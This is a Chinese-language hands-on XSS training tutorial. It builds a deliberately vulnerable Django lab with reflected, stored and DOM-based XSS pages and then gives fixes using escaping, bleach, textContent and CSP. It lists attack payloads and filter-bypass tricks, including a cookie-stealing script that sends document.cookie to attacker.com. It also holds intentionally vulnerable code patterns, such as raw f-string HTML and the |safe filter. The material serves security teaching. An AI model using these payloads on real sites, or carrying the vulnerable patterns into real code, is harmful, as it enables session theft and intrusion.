XSS 攻擊實例與演練

動手實踐 - 從攻擊到防禦的完整演練

⚠️ 免責聲明 本文內容僅供教育與學習用途。請勿將文中技術用於任何未經授權的系統或惡意目的。所有演練應在本地測試環境或專門的安全練習平台進行。


📚 本篇重點

  • 🎯 建立本地 XSS 演練環境
  • 🔍 實戰 5 個完整的 XSS 案例
  • 🛡️ 從攻擊者和防禦者視角學習
  • 💼 準備技術面試的實戰經驗

閱讀時間: 約 25 分鐘 難度: ⭐⭐⭐ 中高階


1️⃣ 建立演練環境

方案 1: 本地 Django 項目(推薦)

我們將建立一個故意包含漏洞的 Django 應用,用於學習和演練。

Step 1: 建立項目

# 建立項目目錄
mkdir xss-lab
cd xss-lab

# 建立虛擬環境
python -m venv venv
source venv/bin/activate  # Windows: venv\Scripts\activate

# 安裝 Django
pip install django

# 建立 Django 項目
django-admin startproject xsslab .

# 建立應用
python manage.py startapp vulnerable_app

# 安裝額外套件
pip install bleach markdown django-csp

Step 2: 配置 settings.py

# xsslab/settings.py

# ... 其他設定 ...

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'vulnerable_app',  # 添加應用
]

# 開發時關閉某些安全設定(生產環境要開啟!)
DEBUG = True
ALLOWED_HOSTS = ['localhost', '127.0.0.1']

# 暫時不啟用 CSP(我們要演示 XSS)
# MIDDLEWARE 中不要加入 'csp.middleware.CSPMiddleware'

# Cookie 設定(演練時使用寬鬆設定)
SESSION_COOKIE_HTTPONLY = False  # 演練用,生產環境要 True
SESSION_COOKIE_SECURE = False    # 本地開發用 False
CSRF_COOKIE_HTTPONLY = False     # 演練用,生產環境要 True

# Template 設定
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

Step 3: 建立模型

# vulnerable_app/models.py
from django.db import models
from django.contrib.auth.models import User

class Comment(models.Model):
    """留言模型(用於 Stored XSS 演練)"""
    author = models.CharField(max_length=100)
    email = models.EmailField(blank=True)
    content = models.TextField()
    created_at = models.DateTimeField(auto_now_add=True)

    class Meta:
        ordering = ['-created_at']

    def __str__(self):
        return f"{self.author}: {self.content[:50]}"

class UserProfile(models.Model):
    """用戶資料(用於 Stored XSS 演練)"""
    user = models.OneToOneField(User, on_delete=models.CASCADE)
    bio = models.TextField(blank=True)
    website = models.URLField(blank=True)
    signature = models.CharField(max_length=500, blank=True)

    def __str__(self):
        return f"{self.user.username}'s profile"

Step 4: 執行遷移

python manage.py makemigrations
python manage.py migrate

# 建立超級用戶
python manage.py createsuperuser

方案 2: 使用現成的演練平台

如果不想自己建立環境,可以使用以下平台:

# 1. DVWA (Damn Vulnerable Web Application)
docker run --rm -it -p 80:80 vulnerables/web-dvwa

# 2. WebGoat (OWASP)
docker run -p 8080:8080 -p 9090:9090 webgoat/goatandwolf

# 3. bWAPP (buggy Web Application)
docker run -d -p 80:80 raesene/bwapp

# 4. Juice Shop (OWASP)
docker run --rm -p 3000:3000 bkimminich/juice-shop

訪問 http://localhost 或對應端口即可開始演練。


2️⃣ 演練 1: Reflected XSS - 搜尋功能

目標

理解 Reflected XSS 的攻擊原理和防禦方法。

漏洞代碼

# vulnerable_app/views.py
from django.shortcuts import render
from django.http import HttpResponse

def vulnerable_search(request):
    """
    ❌ 漏洞:未過濾的搜尋功能
    """
    query = request.GET.get('q', '')

    # 危險:直接將用戶輸入嵌入 HTML
    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <title>搜尋結果</title>
        <style>
            body {{ font-family: Arial, sans-serif; margin: 40px; }}
            .search-box {{ margin-bottom: 20px; }}
            .results {{ border: 1px solid #ccc; padding: 10px; }}
        </style>
    </head>
    <body>
        <h1>搜尋功能(漏洞版)</h1>
        <form method="get">
            <input type="text" name="q" value="{query}" size="50">
            <button type="submit">搜尋</button>
        </form>
        <div class="results">
            <h2>搜尋結果: {query}</h2>
            <p>找不到與 "{query}" 相關的結果</p>
        </div>
    </body>
    </html>
    """

    return HttpResponse(html)
# xsslab/urls.py
from django.contrib import admin
from django.urls import path
from vulnerable_app import views

urlpatterns = [
    path('admin/', admin.site.urls),
    path('search/', views.vulnerable_search, name='vulnerable_search'),
]

攻擊步驟

# 啟動伺服器
python manage.py runserver

# 訪問以下 URL

測試 Payload:

# 1. 基本測試
http://127.0.0.1:8000/search/?q=<script>alert('XSS')</script>

# 2. Cookie 竊取
http://127.0.0.1:8000/search/?q=<script>alert(document.cookie)</script>

# 3. 使用 img 標籤
http://127.0.0.1:8000/search/?q=<img src=x onerror="alert('XSS')">

# 4. 使用 svg
http://127.0.0.1:8000/search/?q=<svg onload="alert('XSS')">

# 5. 事件處理器
http://127.0.0.1:8000/search/?q=<body onload="alert('XSS')">

攻擊效果: 彈出警告框,顯示 “XSS” 或 Cookie 內容。


修復代碼

# vulnerable_app/views.py
from django.shortcuts import render
from django.utils.html import escape

def safe_search(request):
    """
    ✅ 安全:使用 Django Template 自動 escape
    """
    query = request.GET.get('q', '')

    return render(request, 'search.html', {
        'query': query  # Django 會自動 HTML escape
    })
<!-- vulnerable_app/templates/search.html -->
<!DOCTYPE html>
<html>
<head>
    <title>搜尋結果</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        .search-box { margin-bottom: 20px; }
        .results { border: 1px solid #ccc; padding: 10px; }
    </style>
</head>
<body>
    <h1>搜尋功能(安全版)</h1>
    <form method="get">
        <!-- ✅ 自動 HTML escape -->
        <input type="text" name="q" value="{{ query }}" size="50">
        <button type="submit">搜尋</button>
    </form>
    <div class="results">
        <!-- ✅ 自動 HTML escape -->
        <h2>搜尋結果: {{ query }}</h2>
        <p>找不到與 "{{ query }}" 相關的結果</p>
    </div>
</body>
</html>

添加 URL:

# xsslab/urls.py
urlpatterns = [
    # ...
    path('search/safe/', views.safe_search, name='safe_search'),
]

驗證修復:

訪問: http://127.0.0.1:8000/search/safe/?q=<script>alert('XSS')</script>

預期結果: 顯示文字 "<script>alert('XSS')</script>",不執行腳本

3️⃣ 演練 2: Stored XSS - 留言板

目標

理解 Stored XSS 的攻擊原理和資料庫存儲安全。

漏洞代碼

# vulnerable_app/views.py
from django.shortcuts import render, redirect
from .models import Comment

def vulnerable_guestbook(request):
    """
    ❌ 漏洞:未過濾的留言板
    """
    if request.method == 'POST':
        author = request.POST.get('author', '')
        content = request.POST.get('content', '')

        # 危險:直接儲存未過濾的輸入
        Comment.objects.create(
            author=author,
            content=content
        )

        return redirect('vulnerable_guestbook')

    comments = Comment.objects.all()

    return render(request, 'vulnerable_guestbook.html', {
        'comments': comments
    })
<!-- vulnerable_app/templates/vulnerable_guestbook.html -->
<!DOCTYPE html>
<html>
<head>
    <title>留言板(漏洞版)</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        .comment { border: 1px solid #ddd; padding: 10px; margin: 10px 0; }
        .author { font-weight: bold; color: #333; }
        .content { margin-top: 5px; }
        form { margin-bottom: 30px; }
        textarea { width: 100%; height: 100px; }
    </style>
</head>
<body>
    <h1>留言板(漏洞版)</h1>

    <form method="post">
        {% csrf_token %}
        <div>
            <label>姓名:</label><br>
            <input type="text" name="author" required>
        </div>
        <div>
            <label>留言:</label><br>
            <textarea name="content" required></textarea>
        </div>
        <button type="submit">發布留言</button>
    </form>

    <h2>所有留言</h2>
    {% for comment in comments %}
    <div class="comment">
        <!-- ❌ 危險:使用 |safe 繞過 escaping -->
        <div class="author">{{ comment.author|safe }}</div>
        <div class="content">{{ comment.content|safe }}</div>
        <div class="time">{{ comment.created_at|date:"Y-m-d H:i" }}</div>
    </div>
    {% endfor %}
</body>
</html>

添加 URL:

# xsslab/urls.py
urlpatterns = [
    # ...
    path('guestbook/', views.vulnerable_guestbook, name='vulnerable_guestbook'),
]

攻擊步驟

# 1. 訪問留言板
http://127.0.0.1:8000/guestbook/

# 2. 填寫表單

攻擊 Payload:

<!-- Payload 1: 基本彈窗 -->
姓名: Attacker
留言: <script>alert('Stored XSS!')</script>

<!-- Payload 2: Cookie 竊取 -->
姓名: Hacker
留言: <script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

<!-- Payload 3: 自我複製蠕蟲(模擬 MySpace Samy) -->
姓名: Worm
留言: <script>
// 讀取這段代碼
var payload = document.querySelector('.comment:first-child .content').innerHTML;

// 自動提交新留言(需要繞過 CSRF)
setTimeout(function() {
    alert('這是一個蠕蟲,會自我複製!實際攻擊中會自動提交表單');
}, 2000);
</script>

<!-- Payload 4: 使用 img 標籤 -->
姓名: Image
留言: <img src=x onerror="alert('Image XSS')">

<!-- Payload 5: 使用 iframe -->
姓名: Frame
留言: <iframe src="javascript:alert('Iframe XSS')"></iframe>

攻擊效果:

  • 所有訪問留言板的用戶都會看到彈窗
  • 惡意腳本持久存在,直到被刪除
  • 可以竊取所有訪問者的 Cookie

修復代碼

# vulnerable_app/forms.py
from django import forms
from .models import Comment
import bleach

class CommentForm(forms.ModelForm):
    class Meta:
        model = Comment
        fields = ['author', 'content']

    def clean_author(self):
        """清理作者名稱,移除所有 HTML"""
        author = self.cleaned_data['author']
        return bleach.clean(author, tags=[], strip=True)

    def clean_content(self):
        """清理內容,只允許安全標籤"""
        content = self.cleaned_data['content']

        # 方案 1: 完全移除 HTML(最安全)
        clean_content = bleach.clean(content, tags=[], strip=True)

        # 方案 2: 允許部分安全標籤(可選)
        # allowed_tags = ['p', 'br', 'strong', 'em', 'u']
        # clean_content = bleach.clean(
        #     content,
        #     tags=allowed_tags,
        #     strip=True
        # )

        return clean_content

# vulnerable_app/views.py
from django.shortcuts import render, redirect
from django.contrib import messages
from .forms import CommentForm
from .models import Comment

def safe_guestbook(request):
    """
    ✅ 安全:使用 Form 驗證和清理
    """
    if request.method == 'POST':
        form = CommentForm(request.POST)

        if form.is_valid():
            form.save()
            messages.success(request, '留言已發布')
            return redirect('safe_guestbook')
        else:
            messages.error(request, '留言格式錯誤')
    else:
        form = CommentForm()

    comments = Comment.objects.all()

    return render(request, 'safe_guestbook.html', {
        'form': form,
        'comments': comments
    })
<!-- vulnerable_app/templates/safe_guestbook.html -->
<!DOCTYPE html>
<html>
<head>
    <title>留言板(安全版)</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        .comment { border: 1px solid #ddd; padding: 10px; margin: 10px 0; }
        .author { font-weight: bold; color: #333; }
        .content { margin-top: 5px; white-space: pre-wrap; }
        form { margin-bottom: 30px; }
        .messages { padding: 10px; margin: 10px 0; }
        .success { background: #d4edda; color: #155724; }
        .error { background: #f8d7da; color: #721c24; }
    </style>
</head>
<body>
    <h1>留言板(安全版)</h1>

    {% if messages %}
    <div class="messages">
        {% for message in messages %}
        <div class="{{ message.tags }}">{{ message }}</div>
        {% endfor %}
    </div>
    {% endif %}

    <form method="post">
        {% csrf_token %}
        {{ form.as_p }}
        <button type="submit">發布留言</button>
    </form>

    <h2>所有留言</h2>
    {% for comment in comments %}
    <div class="comment">
        <!-- ✅ 安全:Django 自動 HTML escape -->
        <div class="author">{{ comment.author }}</div>
        <div class="content">{{ comment.content }}</div>
        <div class="time">{{ comment.created_at|date:"Y-m-d H:i" }}</div>
    </div>
    {% endfor %}
</body>
</html>

添加 URL:

# xsslab/urls.py
urlpatterns = [
    # ...
    path('guestbook/safe/', views.safe_guestbook, name='safe_guestbook'),
]

驗證修復:

1. 訪問: http://127.0.0.1:8000/guestbook/safe/
2. 提交 Payload: <script>alert('XSS')</script>
3. 預期結果: 顯示文字 "<script>alert('XSS')</script>",不執行腳本

4️⃣ 演練 3: DOM-based XSS

目標

理解純客戶端 XSS 攻擊。

漏洞代碼

# vulnerable_app/views.py
def vulnerable_dom_xss(request):
    """
    DOM XSS 演練頁面
    漏洞在客戶端 JavaScript,伺服器端是乾淨的
    """
    return render(request, 'vulnerable_dom_xss.html')
<!-- vulnerable_app/templates/vulnerable_dom_xss.html -->
<!DOCTYPE html>
<html>
<head>
    <title>DOM XSS 演練</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        #output { border: 1px solid #ccc; padding: 10px; margin-top: 20px; }
    </style>
</head>
<body>
    <h1>DOM-based XSS 演練(漏洞版)</h1>
    <p>URL 範例: <code>#name=John</code></p>
    <div id="output"></div>

    <script>
    // ❌ 危險:直接從 location.hash 讀取並用 innerHTML
    function displayName() {
        var hash = location.hash.substring(1);  // 移除 #

        if (!hash) {
            document.getElementById('output').innerHTML =
                '<p>請在 URL 中添加 #name=你的名字</p>';
            return;
        }

        var params = new URLSearchParams(hash);
        var name = params.get('name');

        if (name) {
            // 🔴 危險:innerHTML + 未過濾輸入
            document.getElementById('output').innerHTML =
                '<h2>歡迎, ' + name + '!</h2>';
        }
    }

    // 監聽 hash 變化
    window.addEventListener('hashchange', displayName);
    displayName();  // 初始載入
    </script>
</body>
</html>

添加 URL:

# xsslab/urls.py
urlpatterns = [
    # ...
    path('dom-xss/', views.vulnerable_dom_xss, name='vulnerable_dom_xss'),
]

攻擊步驟

攻擊 URL:

# 1. 基本腳本注入
http://127.0.0.1:8000/dom-xss/#name=<script>alert('DOM XSS')</script>

# 2. img 標籤
http://127.0.0.1:8000/dom-xss/#name=<img src=x onerror="alert(document.cookie)">

# 3. svg 標籤
http://127.0.0.1:8000/dom-xss/#name=<svg onload="alert('DOM XSS')">

# 4. 事件處理器
http://127.0.0.1:8000/dom-xss/#name=<body onload="alert('DOM XSS')">

重點觀察:

  • 打開瀏覽器開發者工具 → Network
  • 觀察: # 後的內容沒有發送到伺服器!
  • 這就是為什麼伺服器端防禦無效

修復代碼

<!-- vulnerable_app/templates/safe_dom_xss.html -->
<!DOCTYPE html>
<html>
<head>
    <title>DOM XSS 演練(安全版)</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        #output { border: 1px solid #ccc; padding: 10px; margin-top: 20px; }
    </style>
</head>
<body>
    <h1>DOM-based XSS 演練(安全版)</h1>
    <p>URL 範例: <code>#name=John</code></p>
    <div id="output"></div>

    <script>
    function displayName() {
        var hash = location.hash.substring(1);

        if (!hash) {
            document.getElementById('output').textContent =
                '請在 URL 中添加 #name=你的名字';
            return;
        }

        var params = new URLSearchParams(hash);
        var name = params.get('name');

        if (name) {
            // ✅ 方法 1:使用 textContent(推薦)
            var h2 = document.createElement('h2');
            h2.textContent = '歡迎, ' + name + '!';
            document.getElementById('output').innerHTML = '';  // 清空
            document.getElementById('output').appendChild(h2);

            // ✅ 方法 2:手動 HTML escape
            // var escaped = escapeHtml(name);
            // document.getElementById('output').innerHTML =
            //     '<h2>歡迎, ' + escaped + '!</h2>';
        }
    }

    /**
     * HTML Escape 函數
     */
    function escapeHtml(text) {
        var div = document.createElement('div');
        div.textContent = text;
        return div.innerHTML;
    }

    window.addEventListener('hashchange', displayName);
    displayName();
    </script>
</body>
</html>
# vulnerable_app/views.py
def safe_dom_xss(request):
    return render(request, 'safe_dom_xss.html')

# xsslab/urls.py
urlpatterns = [
    # ...
    path('dom-xss/safe/', views.safe_dom_xss, name='safe_dom_xss'),
]

驗證修復:

訪問: http://127.0.0.1:8000/dom-xss/safe/#name=<script>alert('XSS')</script>

預期結果: 顯示 "歡迎, <script>alert('XSS')</script>!",不執行腳本

5️⃣ 演練 4: 繞過過濾器

目標

理解黑名單過濾的局限性,學習繞過技巧。

漏洞代碼(黑名單過濾)

# vulnerable_app/views.py
def weak_filter_search(request):
    """
    ❌ 弱過濾:使用黑名單
    """
    query = request.GET.get('q', '')

    # ❌ 黑名單過濾(不安全!)
    # 只過濾 <script> 標籤
    filtered = query.replace('<script>', '').replace('</script>', '')

    html = f"""
    <!DOCTYPE html>
    <html>
    <head><title>弱過濾搜尋</title></head>
    <body>
        <h1>搜尋(弱過濾版)</h1>
        <form method="get">
            <input type="text" name="q" value="{filtered}" size="50">
            <button>搜尋</button>
        </form>
        <div>
            <h2>結果: {filtered}</h2>
        </div>
    </body>
    </html>
    """

    return HttpResponse(html)

添加 URL:

urlpatterns = [
    # ...
    path('search/weak/', views.weak_filter_search, name='weak_filter_search'),
]

繞過技巧

# 1. 大小寫混用
http://127.0.0.1:8000/search/weak/?q=<ScRiPt>alert('XSS')</ScRiPt>

# 2. 使用其他標籤
http://127.0.0.1:8000/search/weak/?q=<img src=x onerror="alert('XSS')">

# 3. 使用 svg
http://127.0.0.1:8000/search/weak/?q=<svg onload="alert('XSS')">

# 4. 使用 iframe
http://127.0.0.1:8000/search/weak/?q=<iframe src="javascript:alert('XSS')">

# 5. 雙寫繞過
http://127.0.0.1:8000/search/weak/?q=<scr<script>ipt>alert('XSS')</script>
# 過濾後變成: <script>alert('XSS')</script>

# 6. 使用事件處理器
http://127.0.0.1:8000/search/weak/?q=<body onload="alert('XSS')">

# 7. 使用 HTML 實體
http://127.0.0.1:8000/search/weak/?q=<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">

教訓: 永遠使用白名單,不要使用黑名單!


6️⃣ 演練 5: CSP 防禦實戰

目標

學習使用 Content Security Policy 防禦 XSS。

配置 CSP

# settings.py
INSTALLED_APPS = [
    # ...
    'csp',  # 添加 django-csp
]

MIDDLEWARE = [
    # ...
    'csp.middleware.CSPMiddleware',  # 添加 CSP middleware
]

# CSP 配置
CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")  # 允許 inline CSS
CSP_IMG_SRC = ("'self'", "data:", "https:")
CSP_FONT_SRC = ("'self'",)
CSP_CONNECT_SRC = ("'self'",)
CSP_FRAME_ANCESTORS = ("'none'",)
CSP_BASE_URI = ("'self'",)
CSP_FORM_ACTION = ("'self'",)

# 啟用 CSP 報告(開發時很有用)
CSP_REPORT_ONLY = False  # False = 強制執行, True = 僅報告

測試 CSP

# vulnerable_app/views.py
def csp_protected(request):
    """
    使用 CSP 保護的頁面
    """
    return render(request, 'csp_protected.html')
<!-- vulnerable_app/templates/csp_protected.html -->
<!DOCTYPE html>
<html>
<head>
    <title>CSP 保護頁面</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
    </style>
</head>
<body>
    <h1>Content Security Policy 演練</h1>
    <p>這個頁面受 CSP 保護</p>

    <!-- ✅ 允許:外部腳本(self) -->
    <script src="/static/app.js"></script>

    <!-- ❌ 被阻擋:inline script -->
    <script>
        // 這段代碼會被 CSP 阻擋!
        alert('這個 inline script 會被 CSP 阻擋');
    </script>

    <!-- ❌ 被阻擋:inline 事件處理器 -->
    <button onclick="alert('這也會被阻擋')">點我</button>

    <!-- ❌ 被阻擋:javascript: 協議 -->
    <a href="javascript:alert('這也會被阻擋')">危險連結</a>

    <div id="status"></div>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        // ❌ 這也會被阻擋(jquery 來自外部 CDN)
        $(document).ready(function() {
            $('#status').text('jQuery loaded');
        });
    </script>
</body>
</html>

添加 URL:

urlpatterns = [
    # ...
    path('csp/', views.csp_protected, name='csp_protected'),
]

測試:

1. 訪問: http://127.0.0.1:8000/csp/
2. 打開瀏覽器開發者工具 → Console
3. 觀察 CSP 錯誤:
   "Refused to execute inline script because it violates the following
    Content Security Policy directive..."

7️⃣ 完整安全示範項目

讓我們整合所有最佳實踐,建立一個完全安全的留言板:

# vulnerable_app/models.py
from django.db import models
import bleach

class SecureComment(models.Model):
    """完全安全的留言模型"""
    author = models.CharField(max_length=100)
    markdown_content = models.TextField()  # 儲存 Markdown
    html_content = models.TextField()      # 儲存處理後的 HTML
    created_at = models.DateTimeField(auto_now_add=True)

    def save(self, *args, **kwargs):
        import markdown

        # Step 1: Markdown → HTML
        html = markdown.markdown(
            self.markdown_content,
            extensions=['extra', 'nl2br']
        )

        # Step 2: 清理 HTML(白名單)
        allowed_tags = ['p', 'br', 'strong', 'em', 'u', 'code', 'pre']
        self.html_content = bleach.clean(
            html,
            tags=allowed_tags,
            strip=True
        )

        super().save(*args, **kwargs)

    class Meta:
        ordering = ['-created_at']

# vulnerable_app/forms.py
from django import forms
from .models import SecureComment
import bleach

class SecureCommentForm(forms.ModelForm):
    class Meta:
        model = SecureComment
        fields = ['author', 'markdown_content']
        widgets = {
            'markdown_content': forms.Textarea(attrs={
                'placeholder': '支援 Markdown 語法...',
                'rows': 5
            })
        }
        labels = {
            'author': '姓名',
            'markdown_content': '留言內容'
        }

    def clean_author(self):
        author = self.cleaned_data['author']
        # 完全移除 HTML
        return bleach.clean(author, tags=[], strip=True)

    def clean_markdown_content(self):
        content = self.cleaned_data['markdown_content']
        # 長度限制
        if len(content) > 5000:
            raise forms.ValidationError('留言內容過長(最多 5000 字)')
        return content

# vulnerable_app/views.py
from django.shortcuts import render, redirect
from django.contrib import messages
from django.views.decorators.http import require_http_methods
from .forms import SecureCommentForm
from .models import SecureComment

@require_http_methods(["GET", "POST"])
def secure_guestbook(request):
    """
    ✅ 完全安全的留言板

    安全措施:
    1. 使用 Markdown 而非 HTML
    2. Bleach 白名單過濾
    3. Django Form 驗證
    4. CSRF 保護
    5. HttpOnly Cookie
    6. CSP
    """
    if request.method == 'POST':
        form = SecureCommentForm(request.POST)

        if form.is_valid():
            form.save()  # 會自動處理 Markdown → HTML
            messages.success(request, '✅ 留言已發布')
            return redirect('secure_guestbook')
        else:
            messages.error(request, '❌ 留言格式錯誤')
    else:
        form = SecureCommentForm()

    comments = SecureComment.objects.all()[:50]  # 只顯示最新 50 條

    return render(request, 'secure_guestbook.html', {
        'form': form,
        'comments': comments
    })
<!-- vulnerable_app/templates/secure_guestbook.html -->
<!DOCTYPE html>
<html lang="zh-TW">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>安全留言板</title>
    <style>
        * { box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
            max-width: 800px;
            margin: 40px auto;
            padding: 0 20px;
            background: #f5f5f5;
        }
        .container {
            background: white;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        h1 { color: #333; margin-top: 0; }
        .security-info {
            background: #e7f3ff;
            padding: 15px;
            border-left: 4px solid #2196F3;
            margin-bottom: 20px;
        }
        .security-info h3 { margin-top: 0; color: #1976D2; }
        .security-info ul { margin: 10px 0; padding-left: 20px; }
        form { margin: 20px 0; }
        form div { margin-bottom: 15px; }
        label { display: block; font-weight: bold; margin-bottom: 5px; }
        input[type="text"], textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: inherit;
        }
        button {
            background: #4CAF50;
            color: white;
            border: none;
            padding: 12px 24px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
        }
        button:hover { background: #45a049; }
        .messages {
            margin: 20px 0;
        }
        .messages div {
            padding: 12px;
            border-radius: 4px;
            margin-bottom: 10px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        .comment {
            background: #fafafa;
            border: 1px solid #e0e0e0;
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
        }
        .comment-header {
            display: flex;
            justify-content: space-between;
            margin-bottom: 10px;
            padding-bottom: 10px;
            border-bottom: 1px solid #e0e0e0;
        }
        .author {
            font-weight: bold;
            color: #1976D2;
        }
        .time {
            color: #666;
            font-size: 14px;
        }
        .content {
            line-height: 1.6;
            white-space: pre-wrap;
        }
        .markdown-help {
            background: #fff3cd;
            padding: 10px;
            border-radius: 4px;
            font-size: 14px;
            margin-top: 5px;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🛡️ 安全留言板</h1>

        <div class="security-info">
            <h3>🔒 安全措施</h3>
            <ul>
                <li>✅ Django Template 自動 HTML Escape</li>
                <li>✅ Markdown 取代 HTML 輸入</li>
                <li>✅ Bleach 白名單過濾</li>
                <li>✅ Django Forms 輸入驗證</li>
                <li>✅ CSRF 保護</li>
                <li>✅ Content Security Policy (CSP)</li>
                <li>✅ HttpOnly Cookie</li>
            </ul>
        </div>

        {% if messages %}
        <div class="messages">
            {% for message in messages %}
            <div class="{{ message.tags }}">{{ message }}</div>
            {% endfor %}
        </div>
        {% endif %}

        <form method="post">
            {% csrf_token %}
            {{ form.as_p }}
            <div class="markdown-help">
                💡 支援 Markdown 語法: **粗體**, *斜體*, `代碼`, [連結](url)
            </div>
            <button type="submit">📝 發布留言</button>
        </form>

        <h2>💬 所有留言 ({{ comments.count }})</h2>

        {% for comment in comments %}
        <div class="comment">
            <div class="comment-header">
                <!-- ✅ 安全:自動 HTML escape -->
                <span class="author">{{ comment.author }}</span>
                <span class="time">{{ comment.created_at|date:"Y-m-d H:i" }}</span>
            </div>
            <div class="content">
                <!-- ✅ 安全:HTML 已在儲存時清理 -->
                {{ comment.html_content|safe }}
            </div>
        </div>
        {% empty %}
        <p>還沒有留言,成為第一個留言的人吧!</p>
        {% endfor %}
    </div>
</body>
</html>

添加 URL:

urlpatterns = [
    # ...
    path('guestbook/secure/', views.secure_guestbook, name='secure_guestbook'),
]

測試安全性:

1. 訪問: http://127.0.0.1:8000/guestbook/secure/
2. 嘗試提交各種 XSS Payload
3. 觀察: 所有惡意代碼都被安全處理
4. 查看源代碼: HTML 已被正確 escape 或清理

8️⃣ 清理資料庫腳本

如果演練後需要清理資料庫中的惡意數據:

# manage.py shell
from vulnerable_app.models import Comment
import bleach

def clean_all_comments():
    """清理所有留言"""
    comments = Comment.objects.all()
    cleaned_count = 0

    for comment in comments:
        original_content = comment.content

        # 清理內容
        comment.content = bleach.clean(
            original_content,
            tags=[],  # 完全移除 HTML
            strip=True
        )

        # 清理作者
        comment.author = bleach.clean(
            comment.author,
            tags=[],
            strip=True
        )

        if (comment.content != original_content or
            comment.author != comment.author):
            comment.save()
            cleaned_count += 1
            print(f"清理留言 ID={comment.id}")

    print(f"\n總共清理了 {cleaned_count} 條留言")

# 執行清理
clean_all_comments()

或直接刪除所有演練數據:

# manage.py shell
from vulnerable_app.models import Comment
Comment.objects.all().delete()
print("已刪除所有留言")

9️⃣ 面試常見問題

Q1: 如果你在生產環境發現了 XSS 漏洞,應該如何處理?

參考答案:

緊急處理流程:

  1. 立即評估影響:

    • 漏洞類型(Reflected/Stored/DOM)
    • 影響範圍(哪些頁面/用戶)
    • 是否有證據顯示已被利用
  2. 臨時減緩措施:

    # 選項 1:暫時關閉受影響功能
    def vulnerable_feature(request):
        return HttpResponse("功能維護中", status=503)
    
    # 選項 2:移除 |safe 標籤(如果使用了)
    # Template: {{ user_input }}  # 不要用 |safe
    
    # 選項 3:快速部署 CSP
    CSP_DEFAULT_SRC = ("'self'",)
    CSP_SCRIPT_SRC = ("'self'",)
  3. 修復漏洞:

    • 實施 Output Encoding
    • 添加 Input Validation
    • 使用 Bleach 清理已存儲的數據
  4. 清理資料庫(Stored XSS):

    # 清理腳本
    from myapp.models import Comment
    import bleach
    
    for comment in Comment.objects.all():
        comment.content = bleach.clean(comment.content, tags=[], strip=True)
        comment.save()
  5. 安全審計:

    • 檢查是否有敏感信息洩露(Cookie 被竊取)
    • 查看伺服器日誌
    • 如果需要,強制所有用戶重新登入
  6. 通知與記錄:

    • 通知安全團隊
    • 記錄事件詳情
    • 如果有數據洩露,評估是否需要通知用戶
  7. 預防未來攻擊:

    • 實施 CSP
    • 定期安全掃描
    • 代碼審查
    • 安全培訓

Q2: 如何測試一個網站是否存在 XSS 漏洞?

參考答案:

測試流程:

1. 識別輸入點:

- URL 參數(?q=, #fragment)
- 表單輸入(文字框、文本區域)
- HTTP Headers(Referer, User-Agent)
- Cookie
- File uploads(檔案名)

2. 基本 Payload 測試:

<!-- Level 1:基本測試 -->
<script>alert('XSS')</script>

<!-- Level 2:如果被過濾,嘗試其他標籤 -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">

<!-- Level 3:繞過技巧 -->
<ScRiPt>alert('XSS')</ScRiPt>  <!-- 大小寫 -->
<scr<script>ipt>alert('XSS')</script>  <!-- 雙寫 -->

3. 檢查輸出編碼:

查看源代碼:
- < 應該變成 &lt;
- > 應該變成 &gt;
- " 應該變成 &quot;
- ' 應該變成 &#x27;

如果沒有編碼 → 可能有漏洞

4. 使用自動化工具:

# Burp Suite Professional
# OWASP ZAP
# XSStrike
python3 xsstrike.py -u "http://example.com/search?q=test"

# Dalfox
dalfox url "http://example.com/search?q=test"

5. 測試 DOM XSS:

// 在瀏覽器 Console 中執行
(function() {
    var sources = [
        location.hash,
        location.search,
        document.URL,
        document.referrer
    ];

    console.log('Potential Sources:', sources);

    // 檢查是否用 innerHTML
    var originalInnerHTML = Object.getOwnPropertyDescriptor(
        Element.prototype, 'innerHTML'
    ).set;

    Object.defineProperty(Element.prototype, 'innerHTML', {
        set: function(value) {
            console.warn('innerHTML called with:', value);
            console.trace();
            return originalInnerHTML.call(this, value);
        }
    });
})();

6. 驗證漏洞:

如果 alert() 執行 → 確認有漏洞

進一步測試:
- 能否竊取 Cookie? document.cookie
- 能否讀取頁面內容? document.body.innerHTML
- 能否發送請求? fetch()

Q3: 解釋 CSP 如何防禦 XSS,以及它的局限性

參考答案:

CSP 如何防禦 XSS:

  1. 禁止 inline scripts:
<!-- ❌ 被 CSP 阻擋 -->
<script>alert('XSS')</script>

<!-- ✅ 只允許外部腳本(如果 script-src 'self') -->
